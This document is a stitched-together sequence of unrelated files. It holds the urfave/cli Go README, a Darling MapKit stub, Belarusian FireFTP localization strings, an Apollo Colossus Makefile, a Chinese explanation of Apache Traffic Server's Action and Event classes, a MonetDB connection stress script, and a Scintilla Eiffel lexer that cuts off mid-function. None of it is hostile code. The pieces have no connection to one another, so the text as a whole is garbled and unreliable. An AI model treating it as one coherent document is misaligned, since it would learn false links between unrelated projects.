[![codebeat](https://codebeat.co/badges/0a8f30aa-f975-404b-b878-5fab3ae1cc5f)](https://codebeat.co/projects/github-com-urfave-cli)
[![Go Report Card](https://goreportcard.com/badge/urfave/cli)](https://goreportcard.com/report/urfave/cli)
[![codecov](https://codecov.io/gh/urfave/cli/branch/master/graph/badge.svg)](https://codecov.io/gh/urfave/cli)

cli is a simple, fast, and fun package for building command line apps in Go. The
goal is to enable developers to write fast and distributable command line
applications in an expressive way.

## Usage Documentation

Usage documentation exists for each major version

- `v1` - [./docs/v1/manual.md](./docs/v1/manual.md)
- `v2` - 🚧 documentation for `v2` is WIP 🚧

## Installation

Make sure you have a working Go environment.  Go version 1.10+ is supported.  [See
the install instructions for Go](http://golang.org/doc/install.html).

### GOPATH

Make sure your `PATH` includes the `$GOPATH/bin` directory so your commands can
be easily used:
```
export PATH=$PATH:$GOPATH/bin
```

### Supported platforms

cli is tested against multiple versions of Go on Linux, and against the latest
released version of Go on OS X and Windows.  For full details, see
[`./.travis.yml`](./.travis.yml) and [`./appveyor.yml`](./appveyor.yml).

### Using `v1` releases

```
$ go get github.com/urfave/cli
```

```go
...
import (
  "github.com/urfave/cli"
)
...
```

### Using `v2` releases

**Warning**: `v2` is in a pre-release state.

```
$ go get github.com/urfave/cli.v2
```

```go
...
import (
  "github.com/urfave/cli.v2" // imports as package "cli"
)
...
```


Analysis of Condor Downloads

Analysis of Older Condor Releases


/*
 This file is part of Darling.

 Copyright (C) 2019 Lubos Dolezel

 Darling is free software: you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation, either version 3 of the License, or
 (at your option) any later version.

 Darling is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.

 You should have received a copy of the GNU General Public License
 along with Darling.  If not, see <http://www.gnu.org/licenses/>.
*/

#import <MapKit/MKMultiPoint.h>

@implementation MKMultiPoint

- (NSMethodSignature *)methodSignatureForSelector:(SEL)aSelector
{
    return [NSMethodSignature signatureWithObjCTypes: "v@:"];
}

- (void)forwardInvocation:(NSInvocation *)anInvocation
{
    NSLog(@"Stub called: %@ in %@", NSStringFromSelector([anInvocation selector]), [self class]);
}

@end


<!ENTITY title "Наладкі">
<!ENTITY asciiTitle "ASCII-файлы">
<!ENTITY general.label "Агульныя">
<!ENTITY messages.label "Паведамленьні">
<!ENTITY welcome.label "Акно прывітаньня">
<!ENTITY error.label "Паказваць паведамленьні пра памылкі">
<!ENTITY sessions.label "Сэсіі">
<!ENTITY rememberp.label "Запамінаць паролі">
<!ENTITY rememberd.label "Запамінаць пазіцыю">
<!ENTITY fileview.label "Мэнэджэр файлаў">
<!ENTITY autorefresh.label "Аўтаабнаўленьне">
<!ENTITY refresh.tip "Пасьля зьмены (запампоўкі, перайменаваньня і інш.) абнаўляць каталёг">
<!ENTITY hidden.label "Паказваць схаваныя файлы">
<!ENTITY bytesmode.label "Памер файлаў у байтах">
<!ENTITY interface.label "Інтэрфэйс">
<!ENTITY startup.label "Паказваць FireFTP:">
<!ENTITY windowopen.label "у новым акне">
<!ENTITY tabopen.label "у новай укладцы">
<!ENTITY groupopen.label "in a window grouping">
<!ENTITY integrateftplnk.label "Выкарыстоўваць FireFTP для ўсіх ftp-спасылак">
<!ENTITY temppasvmode.label "Выкарыстоўваць пасіўны мэтад для гэтых далучэньняў">
<!ENTITY open.label "Double-clicking/pressing enter:">
<!ENTITY download.label "transfers a file">
<!ENTITY exec.label "opens a file">
<!ENTITY both.tip "Паказваць файлы і на сэрвэры, і лякальныя">
<!ENTITY local.tip "Паказваць толькі лякальныя файлы">
<!ENTITY remote.tip "Паказваць толькі файлы на сэрвэры">
<!ENTITY logwindow.label "Рапарт">
<!ENTITY logmode.label "Паказваць рапарт у галоўным акне">
<!ENTITY logerrormode.label "Толькі паведамленьні пра памылкі">
<!ENTITY debug.label "Адладкавая інфармацыя">
<!ENTITY connect.label "Далучэньні">
<!ENTITY proxy.label "Проксі">
<!ENTITY none.label "Няма">
<!ENTITY direct.label "Простае далучэньне">
<!ENTITY host.label "Сэрвэр:">
<!ENTITY port.label "Порт:">
<!ENTITY active.label "Active Mode">
<!ENTITY limitPorts.label "Limit ports">
<!ENTITY from.label "From:">
<!ENTITY to.label "To:">
<!ENTITY concurrent.label "Concurrent Transfers">
<!ENTITY simtransfers.label "Max. simultaneous transfers (1-10)">
<!ENTITY recovery.label "Аднаўленьне далучэньняў">
<!ENTITY network.label "Таймаўт сеткі (сэкундаў, ад 1 да 600)">
<!ENTITY network.tip "Чакаць адказу сэрвэра">
<!ENTITY keepalivemode.label "Захоўваць далучэньне пры неактыўнасьці">
<!ENTITY timeout.label "Аўтадалучэньне">
<!ENTITY retryd.label "Паўза паміж паўторамі (сэкундаў, ад 1 да 600)">
<!ENTITY retryd.tip "Сэкундаў паміж спробамі далучэньня">
<!ENTITY retrya.label "Колькасьць спробаў">
<!ENTITY retrya.tip "Спробаў паўторнага далучэньня">
<!ENTITY downup.label "Загрузка/Адпраўка">
<!ENTITY transfercaption.label "Выкарыстаць для перадачы файлаў:">
<!ENTITY automatic.label "Аўтаматычны рэжым">
<!ENTITY automatic.tip "Аўтаматычнае пераключэньне паміж 'Бінарным' і 'ASCII' рэжымамі">
<!ENTITY binary.label "Бінарны">
<!ENTITY ascii.label "ASCII">
<!ENTITY asciifiles.label "ASCII-файлы:">
<!ENTITY asciifiles.tip "Сьпіс пашырэньняў файлаў, якія будуць распазнаныя як ASCII-тэкст">
<!ENTITY add.label "Дадаць">
<!ENTITY remove.label "Выдаліць">
<!ENTITY extras.label "Extras (if enabled on server)">
<!ENTITY usecompression.label "Use compression">
<!ENTITY synctimestamps.label "Keep timestamps in sync">
<!ENTITY integritymode.label "Check integrity of file transfers (XMD5, XSHA1) ">
<!ENTITY duplicates.label "Дублікаты файлаў">
<!ENTITY timer.label "Адключыць таймер у дыялёгу перазапісу">
<!ENTITY nopromptmode.label "Перазапісваць без пацьверджаньня">
<!ENTITY credits.label "Сьпіс удзельнікаў">
<!ENTITY thanks.label "Падзякі:">
<!ENTITY allothers.label "Усім, хто дапамагаў знаходзіць і выпраўляць памылкі">
<!ENTITY special.label "Адмысловыя падзякі ўсім, хто зрабіў ахвяраваньні!">


# Copyright:	Public domain.
# Filename:	Makefile
# Purpose:	Makefile for Colossus 1A, Build 249.
#		(The source code for the Command Module's (CM)
#		Apollo Guidance Computer (AGC), maybe for Apollo 8 and/or 9.)
# Contact:	Ron Burkey <info@sandroid.org>.
# Mod history:	11/13/03 RSB.	Adapted from Luminary131 makefile.
#		11/25/03 RSB.	Removed the '-' prefices in the
#				Colossus249.bin target.
#		01/01/04 RSB	Fixed the path for Oct2Bin
#		05/06/04 RSB	Installs Colossus249.bin.
#		05/14/04 RSB	Added PREFIX
#		09/05/04 RSB	Now runs yaYUL by default.
#		07/28/05 RSB	Now account for symtabs.
#		2009-07-04 RSB	Added --html switch.
#		2011-05-03 JL	Replaced with newer version from Artemis072.
#				Point to moved Oct2Bin.
#		2012-09-16 JL	Updated to match tools dir changes.
#		2016-10-04 JL	Change to use Makefile.inc.

BASENAME=Colossus249
include ../Makefile.inc


# 核心部件：Action & Event

在介绍 Event 之前，首先了解一下 Action:

当一个 状态机 通过某个 Processor方法 发起一个请求时，如果该请求将通过异步操作完成时，Processor 将返回一个指向 Action 对象的指针。
- 通过一个指向 Action 对象的指针，状态机 可以取消正在进行中的异步操作。
- 在取消之后，发起该操作的 状态机 将不会接收到来自该异步操作的回调。
- 对于 Event System 中的 Processor 还有整个IO核心库公开的方法/函数来说，Action或其派生类 是一种常见的返回类型。
- 只有 Action 将要回调的那个 状态机，才可以取消该 Action，而且在这之前要持有 状态机 的锁。

## 定义／成员

Event 继承自 Action，首先看一下 Action 类

```
class Action
{
public:
    Continuation * continuation;
    Ptr<ProxyMutex> mutex;
    // 防止编译器缓存该变量的值, 在 64bits 平台, 对该值的 读取 或 设置 是原子的
    volatile int cancelled;

    // 可由继承类重写, 实现继承类中对应的处理
    // 作为 Action 对外部提供的唯一接口
    virtual void cancel(Continuation * c = NULL) {
    if (!cancelled)
        cancelled = true;
    }

    // 此方法总是直接对 Action 基类设置取消操作, 跳过继承类的取消流程
    // 在 ATS 代码内, 此方法为 Event 对象专用
    void cancel_action(Continuation * c = NULL) {
    if (!cancelled)
        cancelled = true;
    }

    // 重载赋值（＝）操作
    // 用于初始化 Action
    //   acont 为操作完成时回调的状态机
    //   mutex 为上述状态机的锁, 采用 Ptr<> 自动指针管理
    Continuation *operator =(Continuation * acont)
    {
        continuation = acont;
        if (acont)
            mutex = acont->mutex;
        else
            mutex = 0;
        return acont;
    }

    // 构造函数
    // 初始化continuation为NULL，cancelled为false
    Action():continuation(NULL), cancelled(false) {
    }

    virtual ~ Action() {
    }
};
```

## Processor 方法实现者:

在实现一个 Processor 的方法时, 必须确保:

- 在操作被取消之后，不会有事件发送给状态机。

## 返回一个 Action:

Processor 方法通常是异步执行的，因此必须返回Action，这样状态机才能在任务完成前随时取消该任务。

- 一个“**任务状态机**”将会被创建出来，用于完成该异步任务,
- 在该“**任务状态机**”内包含一个 Action 对象的实例，Processor 返回的是指向该 Action 实例的指针,
- 此时, 发起调用的状态机总是先获得 Action指针,
- 然后才会收到该异步任务以回调的方式，传递的结果,
- 在收到回调之前, 随时可以通过 Action指针 取消该任务。

由于某些 Processor 的方法是可以同步执行的(可重入的)，因此可能会出现：

- 首先通过回调的方式，向发起调用的状态机传递了结果，
- 然后，再向将 Action 返回给发起调用的状态机。

此时返回 Action 是毫无意义的, 为了处理这种情况，返回特殊的几个值来代替 Action 对象，以指示状态机该动作已经完成。

- ACTION\_RESULT\_DONE
  - 该 Processor 已经完成了任务，并内嵌(同步)回调了状态机
- ACTION\_RESULT\_INLINE
  - 当前未使用
- ACTION\_RESULT\_IO\_ERROR
  - 当前未使用

也许会出现这样一种更复杂的问题：

- 当结果为 ACTION\_RESULT\_DONE
- 同时，状态机在同步回调中释放了自身

因此，状态机的实现者必须：

- 同步回调时, 不要释放自身(不容易判断出回调的类型是同步还是异步)

或者,

- 立即检查 Processor 方法返回的 Action
- 如果该值为 ACTION\_RESULT\_DONE，那么就不能对状态机的任何状态变量进行读或写。

无论使用哪种方式，都要对返回值进行检查(是否为 ACTION\_RESULT\_DONE)，同时进行相应的处理。

## 回调状态机

Action 的成员

- continuation 指向了将要回调的状态机
- mutex 指向了该状态机的锁
- cancelled 表明该 Action 是否已经被取消

为了在状态机释放自身后，仍然可以合法访问 mutex 对象，将 mutex 声明为 Ptr\<ProxyMutex\> 类型，以避免 mutex 随状态机的销毁而同时被释放。

回调状态机的步骤如下：

1. 首先要尝试对 Action::mutex 上锁，只有上锁成功，才可以访问 Action 的成员变量
  - 前面介绍过，只有 Action 将要回调的那个状态机才可以取消 Action，也就是将 Action::cancelled 设置为 true
  - 这是因为 mutex 指向了状态机的锁，共享同一把锁的状态机是互斥的，因此可以安全访问 Action::cancelled
  - 因此，凡是共享同一把锁的状态机都是可以取消该 Action 的
  - 如果上锁失败，就要通过 Event System 重新尝试上锁
2. 上锁成功后，需要判断 Action::cancelled 为 false
  - 当 cancelled 为 true 时，表示状态机已经取消了该 Action
  - 此时，状态机可能已经销毁，因此 continuation 已经不再指向一个合法的状态机
  - 该“**任务状态机**”应该停止继续执行，接下来应该销毁自身并回收资源
3. 最后通过 continuation 回调状态机，使用约定的 event 将 data 传递给状态机
  - 应当确保在任何回调发生时，目标状态机被当前线程上锁

## 分配/释放策略:

Action 的分配和释放遵循以下策略：

- Action 由执行它的 Processor 进行分配。
  - 通常 Processor 方法会创建一个“**任务状态机**”来异步执行某个特定任务
  - 而 Action 对象则是该“**任务状态机**”的一个成员对象
- 当 Action 完成或者被取消后，Processor 有责任和义务来释放它。
  - 当“**任务状态机**”需要回调 状态机 时,
    - 通过 Action 获得 mutex 并对其上锁
    - 然后检查 Action 的成员 cancelled
    - 如已经 cancelled, 则销毁“**任务状态机**”
    - 否则回调 Action.continuation，以传递结果
- 当返回的 Action 已经完成，或者状态机对一个 Action 执行了取消操作,
  - 状态机就不可以再访问该 Action。

## 参考资料

[I_Action.h](http://github.com/apache/trafficserver/tree/master/iocore/eventsystem/I_Action.h)

# 核心部件：Event

Event类 继承自 Action类, 它是 EventProcessor 返回的专用 Action 类型，它作为调度操作的结果由 EventProcessor 返回。

不同于 Action 的异步操作，Event 是不可重入的。

  - EventProcessor 总是返回 Event 对象给状态机,
  - 然后, 状态机才会收到回调。
  - 不会像 Action类 的返回者, 可能存在同步回调 状态机 的情形。

除了能够取消事件（因为它是一个动作），你也可以在收到它的回调之后重新对它进行调度。

## 定义／成员

```
class Event : public Action
{
public:
    // 设置事件(Event)类型的方法
    void schedule_imm(int callback_event = EVENT_IMMEDIATE);
    void schedule_at(ink_hrtime atimeout_at, int callback_event = EVENT_INTERVAL);
    void schedule_in(ink_hrtime atimeout_in, int callback_event = EVENT_INTERVAL);
    void schedule_every(ink_hrtime aperiod, int callback_event = EVENT_INTERVAL);

    // Inherited from Action:
    // Continuation * continuation;
    // Ptr<ProxyMutex> mutex;
    // volatile int cancelled;
    // virtual void cancel(Continuation * c = NULL);

    // 处理此Event的ethread指针，在ethread处理此Event之前填充（就是在schedule时）。
    // 当一个 Event 由一个 EThread 管理后, 就无法在转交给其它 EThread 管理。
    EThread *ethread;

    // 状态及标志位
    unsigned int in_the_prot_queue:1;
    unsigned int in_the_priority_queue:1;
    unsigned int immediate:1;
    unsigned int globally_allocated:1;
    unsigned int in_heap:4;

    // 向Cont->handler传递的事件(Event)类型
    int callback_event;

    // 组合构成四种事件(Event)类型
    ink_hrtime timeout_at;
    ink_hrtime period;

    // 在回调Cont->handler时作为数据(Data)传递
    void *cookie;

    // 构造函数
    Event();

    // 初始化一个Event
    Event *init(Continuation * c, ink_hrtime atimeout_at = 0, ink_hrtime aperiod = 0);
    // 释放Event
    void free();

private:
    // use the fast allocators
    void *operator new(size_t size);

    // prevent unauthorized copies (Not implemented)
    Event(const Event &);
    Event & operator =(const Event &);
public:
    LINK(Event, link);

    virtual ~Event() {}
};

TS_INLINE Event *
Event::init(Continuation *c, ink_hrtime atimeout_at, ink_hrtime aperiod)
{
  continuation = c;
  timeout_at = atimeout_at;
  period = aperiod;
  immediate = !period && !atimeout_at;
  cancelled = false;
  return this;
}

TS_INLINE void
Event::free()
{
  mutex = NULL;
  eventAllocator.free(this);
}

TS_INLINE
Event::Event()
  : ethread(0), in_the_prot_queue(false), in_the_priority_queue(false),
    immediate(false), globally_allocated(true), in_heap(false),
    timeout_at(0), period(0)
{
}

// Event 的内存分配不对空间进行 bzero() 操作, 因此在 Event::init() 方法中会初始化所有必要的值
#define EVENT_ALLOC(_a, _t) THREAD_ALLOC(_a, _t)
#define EVENT_FREE(_p, _a, _t) \
  _p->mutex = NULL;            \
  if (_p->globally_allocated)  \
    ::_a.free(_p);             \
  else                         \
  THREAD_FREE(_p, _a, _t)
```

## Event 方法

Event::init()

- 初始化一个 Event
- 通常用来准备一个 Event，然后选择一个新的 EThread 线程来处理这个事件时使用
- 接下来通常会调用 EThread::schedule() 方法

Event::schedule\_\*()

- 如果事件(Event)已经存在于 EThread 的```内部队列```，则先从队列中删除
- 然后直接向 EThread 的```本地队列```添加事件(Event)
- 因此此方法只能向当前 EThread 事件池添加事件(Event)，不能跨线程添加

对于 Event::schedule\_\*() 的使用，在源代码中有相关注释，翻译如下：

- 当通过任何 Event类 的调度函数重新调度一个事件时，状态机（SM）不可以在除了回调它的线程以外的线程中调用这些调度函数（好绕，其实就是状态机必须在回调它的线程里调用重新调度的函数），而且必须在调用之前获得该 延续(Continuation) 的锁。
- Event 是与线程绑定的，一个 Event 诞生后，只可以在一个线程内重新调度
- 如果希望把 延续(Continuation) 重新调度到另外一个线程，可以通过 EThread::schedule\_\*() 方法，或者 EventProcessor::schedule\_\*() 方法 实现

## 事件(Event)的类型

ATS 中的事件(Event)，被设计为以下四种类型：

- 立即执行
   - timeout\_at=0，period=0
   - 通过 schedule\_imm 设置 callback\_event=EVENT\_IMMEDIATE
   - 或通过 schedule\_imm\_signal
- 绝对定时执行
   - timeout\_at>0，period=0
   - 通过 schedule\_at 设置 callback\_event=EVENT\_INTERVAL，可以理解为在xx时刻执行
- 相对定时执行
   - timeout\_at>0，period=0
   - 通过 schedule\_in 设置 callback\_event=EVENT\_INTERVAL，可以理解为在xx时间之内执行
- 定期/周期执行
   - timeout\_at=period>0
   - 通过 schedule\_every 设置 callback_event=EVENT\_INTERVAL，可以理解为每隔一定时间重复执行

另外针对隐性队列，还有特殊的第五种类型：

- 随时执行
   - timeout_at=period<0
   - 通过 schedule\_every 设置 callback\_event=EVENT\_INTERVAL
   - 调用 Cont->handler 时会固定传送 EVENT_POLL 事件类型
   - 对于 TCP连接，此种类型的事件(Event)由 NetHandler::startNetEvent 添加
      - Cont->handler 对于TCP事件为 NetHandler::mainNetEvent()

### Time values:

任务调度函数使用了一个类型为 ink\_hrtime 用来指定超时或周期的时间参数。这是由 libts 支持的纳秒值，你应该使用在 ink\_hrtime.h 中定义的时间函数和宏。

超时参数对于 schedule\_at和schedule\_in 之间的差别在于：

- 在前者，它是绝对时间，未来的某个预定的时刻
- 在后者，它是相对于当前时间（通过ink\_get\_hrtime得到）的一个量

### 取消Event的规则

与下面这些对于Action的规则是一样的

- Event 的取消者必须是该任务将要回调的状态机，同时在取消的过程中需要持有状态机的锁
- 任何在该状态机持有的对于该Event对象（例如：指针）的引用，在取消操作之后都不得继续使用

### Event Codes:

- 在事件完成后，状态机SM使用延续处理函数（Cont->handleEvent）传递进来的 Event Codes 来区分 Event类型 和处理相应的数据参数。
- 定义 Event Code 时，状态机的实现者应该小心处理，因为它们对其它状态机产生影响。
- 由于这个原因，Event Code 通常统一进行分配。

通常在调用 Cont->handleEvent 时传递的 Event Code 有如下几种：

```
#define EVENT_NONE CONTINUATION_EVENT_NONE // 0
#define EVENT_IMMEDIATE 1
#define EVENT_INTERVAL 2
#define EVENT_ERROR 3
#define EVENT_CALL 4 // used internally in state machines
#define EVENT_POLL 5 // negative event; activated on poll or epoll
```

通常 Cont->handleEvent 也会返回一个 Event Callback Code

```
#define EVENT_DONE CONTINUATION_DONE // 0
#define EVENT_CONT CONTINUATION_CONT // 1
#define EVENT_RETURN 5
#define EVENT_RESTART 6
#define EVENT_RESTART_DELAYED 7
```

PS：但是在 EThread::execute() 中没有对 Cont->handleEvent 的返回值进行判断。

EVENT\_DONE 通常表示该 Event 已经成功完成了回调操作, 该Event接下来应该被释放。(参照: ACTION\_RESULT\_DONE)

EVENT\_CONT 通常表示该 Event 没有完成回调操作, 还需要保留以进行下一次回调的尝试。

## 使用

### 创建一个Event实例，有两种方式

- 全局分配
   - Event *e = ::eventAllocator.alloc();
   - 默认情况都是通过全局方式分配的，因为分配内存时还不确认要交给哪一个线程来处理。
   - 构造函数初始化 globally_allocated(true)
   - 这样就需要全局锁
- 本地分配
   - Event *e = EVENT_ALLOC(eventAllocator, this);
   - 如果预先知道这个 Event 一定会交给当前线程来处理，那么就可以采用本地分配的方法
   - 调用 EThread::schedule\_*\_local() 方法时，会设置 globally\_allocated ＝ false
   - 不会影响全局锁，效率更高

### 放入EventSystem

- 根据轮询规则选择下一个线程，然后将Event放入选择的线程
   - eventProcessor.schedule(e->init(cont, timeout, period));
   - EThread::schedule(e->init(cont, timeout, period));
- 放入当前线程
   - e->schedule\_\*();
   - this\_ethread()->schedule\_\*\_local(e);
      - 只能在 e->ethread == this\_ethread() 的时候使用

### 释放Event

- 全局分配
   - eventAllocator.free(e);
   - ::eventAllocator.free(e);
   - 在ATS的代码里能看到上面两种写法，我理解两种是一个意思，因为只有一个全局的 eventAllocator
- 自动判断
   - EVENT\_FREE(e, eventAllocator, t);
   - 根据 e->globally\_allocated 来判断

### 重新调度Event

状态机在收到来自 EThread 的回调后, void \*data 指向触发此次回调的 Event 对象。

- 将 data 简单的进行类型转换后, 可以调用 Event::schedule\_\*() 将此 Event 重新放入当前线程,
- 在重新调度后, Event 的类型将会被 schedule\_\*() 方法重新设置。

## 参考资料

- [I_Event.h](http://github.com/apache/trafficserver/tree/master/iocore/eventsystem/I_Event.h)
- [P_UnixEvent.h](http://github.com/apache/trafficserver/tree/master/iocore/eventsystem/P_UnixEvent.h)
- [UnixEvent.cc](http://github.com/apache/trafficserver/tree/master/iocore/eventsystem/UnixEvent.cc)


#!/usr/bin/env bash

# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0.  If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
#
# Copyright 1997 - July 2008 CWI, August 2008 - 2020 MonetDB B.V.

# Run mclient with a variable number of concurrent connections for
# simple SELECT 1; queries.  Disconnect after each query.  Continue as
# long as the server can cope.
# This script intends to simulate a scenario as reported in bug #2700

do_usage() {
	echo "usage: concurrent_stress.sh <concurrency> [database [host [port]]]"
	exit 1
}

[[ -z $1 ]] && do_usage

CONCURRENCY=$1
shift
for v in MDATABASE:d MHOST:h MPORT:p ; do
	[[ -z $1 ]] && break
	eval ${v%:*}="-${v#*:}$1"
	shift
done

if ! type -P mclient > /dev/null ; then
	echo "cannot find mclient in PATH!" > /dev/stderr
	exit 1
fi

echo "invoking $CONCURRENCY runners using the command:"
echo "  mclient $MDATABASE $MHOST $MPORT -ftab -s \"SELECT 1;\""

concurrent_runner() {
	local num=$1
	local cnt=1
	local now=$SECONDS
	local lcnt=0
	local elapse=
	local t=
	while mclient $MDATABASE $MHOST $MPORT -ftab -s "SELECT 1;" > /dev/null ; do
		: $((cnt++))
		elapse=$((SECONDS - now))
		if [[ ${elapse} -ge 3 ]] ; then
			t=$((cnt - lcnt))
			t=$((t * 100))
			t=$((t / elapse))
			echo "mclient $num executed query $cnt, current speed: ${t%??}.${t#${t%??}}q/s"
			lcnt=${cnt}
			now=$SECONDS
		fi
	done
	echo "mclient $num terminated in query $cnt"
}

FORKS=
for nr in $(seq 1 $CONCURRENCY) ; do
	concurrent_runner $nr &
	FORKS+=" $!"
done

cleanup() {
	kill $FORKS
}
trap cleanup TERM INT QUIT

# wait for all children to end
wait $FORKS


// Scintilla source code edit control
/** @file LexEiffel.cxx
 ** Lexer for Eiffel.
 **/
// Copyright 1998-2001 by Neil Hodgson <neilh@scintilla.org>
// The License.txt file describes the conditions under which this software may be distributed.

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdarg.h>
#include <assert.h>
#include <ctype.h>

#include "ILexer.h"
#include "Scintilla.h"
#include "SciLexer.h"

#include "WordList.h"
#include "LexAccessor.h"
#include "Accessor.h"
#include "StyleContext.h"
#include "CharacterSet.h"
#include "LexerModule.h"

using namespace Scintilla;

static inline bool isEiffelOperator(unsigned int ch) {
	// '.' left out as it is used to make up numbers
	return ch == '*' || ch == '/' || ch == '\\' || ch == '-' || ch == '+' ||
	        ch == '(' || ch == ')' || ch == '=' ||
	        ch == '{' || ch == '}' || ch == '~' ||
	        ch == '[' || ch == ']' || ch == ';' ||
	        ch == '<' || ch == '>' || ch == ',' ||
	        ch == '.' || ch == '^' || ch == '%' || ch == ':' ||
		ch == '!' || ch == '@' || ch == '?';
}

static inline bool IsAWordChar(unsigned int  ch) {
	return (ch < 0x80) && (isalnum(ch) || ch == '_');
}

static inline bool IsAWordStart(unsigned int ch) {
	return (ch < 0x80) && (isalnum(ch) || ch == '_');
}

static void ColouriseEiffelDoc(Sci_PositionU startPos,
                            Sci_Position length,
                            int initStyle,
                            WordList *keywordlists[],
                            Accessor &styler) {

	WordList &keywords = *keywordlists[0];

	StyleContext sc(startPos, length, initStyle, styler);

	for (; sc.More(); sc.Forward()) {

		if (sc.state == SCE_EIFFEL_STRINGEOL) {
			if (sc.ch != '\r' && sc.ch != '\n') {
				sc.SetState(SCE_EIFFEL_DEFAULT);
			}
		} else if (sc.state == SCE_EIFFEL_OPERATOR) {
			sc.SetState(SCE_EIFFEL_DEFAULT);
		} else if (sc.state == SCE_EIFFEL_WORD) {
			if (!IsAWordChar(sc.ch)) {
				char s[100];
				sc.GetCurrentLowered(s, sizeof(s));
				if (!keywords.InList(s)) {
					sc.ChangeState(SCE_EIFFEL_IDENTIFIER);
				}
				sc.SetState(SCE_EIFFEL_DEFAULT);
			}
		} else if (sc.state == SCE_EIFFEL_NUMBER) {
			if (!IsAWordChar(sc.ch)) {
				sc.SetState(SCE_EIFFEL_DEFAULT);
			}
		} else if (sc.state == SCE_EIFFEL_COMMENTLINE) {
			if (sc.ch == '\r' || sc.ch == '\n') {
				sc.SetState(SCE_EIFFEL_DEFAULT);
			}
		} else if (sc.state == SCE_EIFFEL_STRING) {
			if (sc.ch == '%') {
				sc.Forward();
			} else if (sc.ch == '\"') {
				sc.Forward();
				sc.SetState(SCE_EIFFEL_DEFAULT);
			}
		} else if (sc.state == SCE_EIFFEL_CHARACTER) {
			if (sc.ch == '\r' || sc.ch == '\n') {
				sc.SetState(SCE_EIFFEL_STRINGEOL);
			} else if (sc.ch == '%') {
				sc.Forward();
			} else if (sc.ch == '\'') {
				sc.Forward();
				sc.SetState(SCE_EIFFEL_DEFAULT);
			}
		}

		if (sc.state == SCE_EIFFEL_DEFAULT) {
			if (sc.ch == '-' && sc.chNext == '-') {
				sc.SetState(SCE_EIFFEL_COMMENTLINE);
			} else if (sc.ch == '\"') {
				sc.SetState(SCE_EIFFEL_STRING);
			} else if (sc.ch == '\'') {
				sc.SetState(SCE_EIFFEL_CHARACTER);
			} else if (IsADigit(sc.ch) || (sc.ch == '.')) {
				sc.SetState(SCE_EIFFEL_NUMBER);
			} else if (IsAWordStart(sc.ch)) {
				sc.SetState(SCE_EIFFEL_WORD);
			} else if (isEiffelOperator(sc.ch)) {
				sc.SetState(SCE_EIFFEL_OPERATOR);
			}
		}
	}
	sc.Complete();
}

static bool IsEiffelComment(Accessor &styler, Sci_Position pos, Sci_Position len) {
	return len>1 && styler[pos]=='-' && styler[pos+1]=='-';
}

static void FoldEiffelDocIndent(Sci_PositionU startPos, Sci_Position length, int,
						   WordList *[], Accessor &styler) {
	Sci_Position lengthDoc = startPos + length;

	// Backtrack to previous line in case need to fix its fold status
	Sci_Position lineCurrent = styler.GetLine(startPos);
	if (startPos > 0) {
		if (lineCurrent > 0) {
			lineCurrent--;
			startPos = styler.LineStart(lineCurrent);
		}
	}
	int spaceFlags = 0;
	int indentCurrent = styler.IndentAmount(lineCurrent, &spaceFlags, IsEiffelComment);
	char chNext = styler[startPos];
	for (Sci_Position i = startPos; i < lengthDoc; i++) {
		char ch = chNext;
		chNext = styler.SafeGetCharAt(i + 1);

		if ((ch == '\r' && chNext != '\n') || (ch == '\n') || (i == lengthDoc)) {
			int lev = indentCurrent;
			int indentNext = styler.IndentAmount(lineCurrent + 1, &spaceFlags, IsEiffelComment);
			if (!(indentCurrent & SC_FOLDLEVELWHITEFLAG)) {
				// Only non whitespace lines can be headers
				if ((indentCurrent & SC_FOLDLEVELNUMBERMASK) < (indentNext & SC_FOLDLEVELNUMBERMASK)) {
					lev |= SC_FOLDLEVELHEADERFLAG;
				} else if (indentNext & SC_FOLDLEVELWHITEFLAG) {
					// Line after is blank so check the next - maybe should continue further?
					int spaceFlags2 = 0;
					int indentNext2 = styler.IndentAmount(lineCurrent + 2, &spaceFlags2, IsEiffelComment);
					if ((indentCurrent & SC_FOLDLEVELNUMBERMASK) < (indentNext2 & SC_FOLDLEVELNUMBERMASK)) {
						lev |= SC_FOLDLEVELHEADERFLAG;
					}
				}
			}
			indentCurrent = indentNext;
			styler.SetLevel(lineCurrent, lev);
			lineCurrent++;
		}
	}
}

static void FoldEiffelDocKeyWords(Sci_PositionU startPos, Sci_Position length, int /* initStyle */, WordList *[],
                       Accessor &styler) {
	Sci_PositionU lengthDoc = startPos + length;
	int visibleChars = 0;
	Sci_Position lineCurrent = styler.GetLine(startPos);
	int levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK;
	int levelCurrent = levelPrev;
	char chNext = styler[startPos];
	int stylePrev = 0;
	int styleNext = styler.StyleAt(startPos);
	// lastDeferred should be determined by looking back to last keyword in case
	// the "deferred" is on a line before "class"
	bool lastDeferred = false;
	for (Sci_PositionU i = startPos; i < lengthDoc; i++) {
		char ch = chNext;
		chNext = styler.SafeGetCharAt(i + 1);
		int style = styleNext;
		styleNext = styler.StyleAt(i + 1);
		bool atEOL = (ch == '\r' && chNext != '\n') || (ch == '\n');
		if ((stylePrev != SCE_EIFFEL_WORD) && (style == SCE_EIFFEL_WORD)) {
			char s[20];
			Sci_PositionU j = 0;
			while ((j < (sizeof(s) - 1)) && (iswordchar(styler[i + j]))) {
				s[j] = styler[i + j];
				j++;
			}
			s[j] = '\0';

			if (
				(strcmp(s, "check") == 0) ||
				(strcmp(s, "debug") == 0) ||
				(strcmp(s, "deferred") == 0) ||
				(strcmp(s, "do") == 0) ||
				(strcmp(s, "from") == 0) ||
				(strcmp(s, "if") == 0) ||
				(strcmp(s, "inspect") == 0) ||
				(strcmp(s, "once") == 0)
			)
				levelCurrent++;
			if (!lastDeferred && (strcmp(s, "class") == 0))
				levelCurrent++;
			if (strcmp(s, "end") == 0)
				levelCurrent--;
			lastDeferred = strcmp(s, "deferred") == 0;
		}

		if (atEOL) {
			int lev = levelPrev;
			if (visibleChars == 0)
				lev |= SC_FOLDLEVELWHITEFLAG;
			if ((levelCurrent > levelPrev) && (visibleChars > 0))
				lev |= SC_FOLDLEVELHEADERFLAG;
			if (lev != styler.LevelAt(lineCurrent)) {
				styler.SetLevel(lineCurrent, lev);
			}
			lineCurrent++;
			levelPrev = levelCurrent;
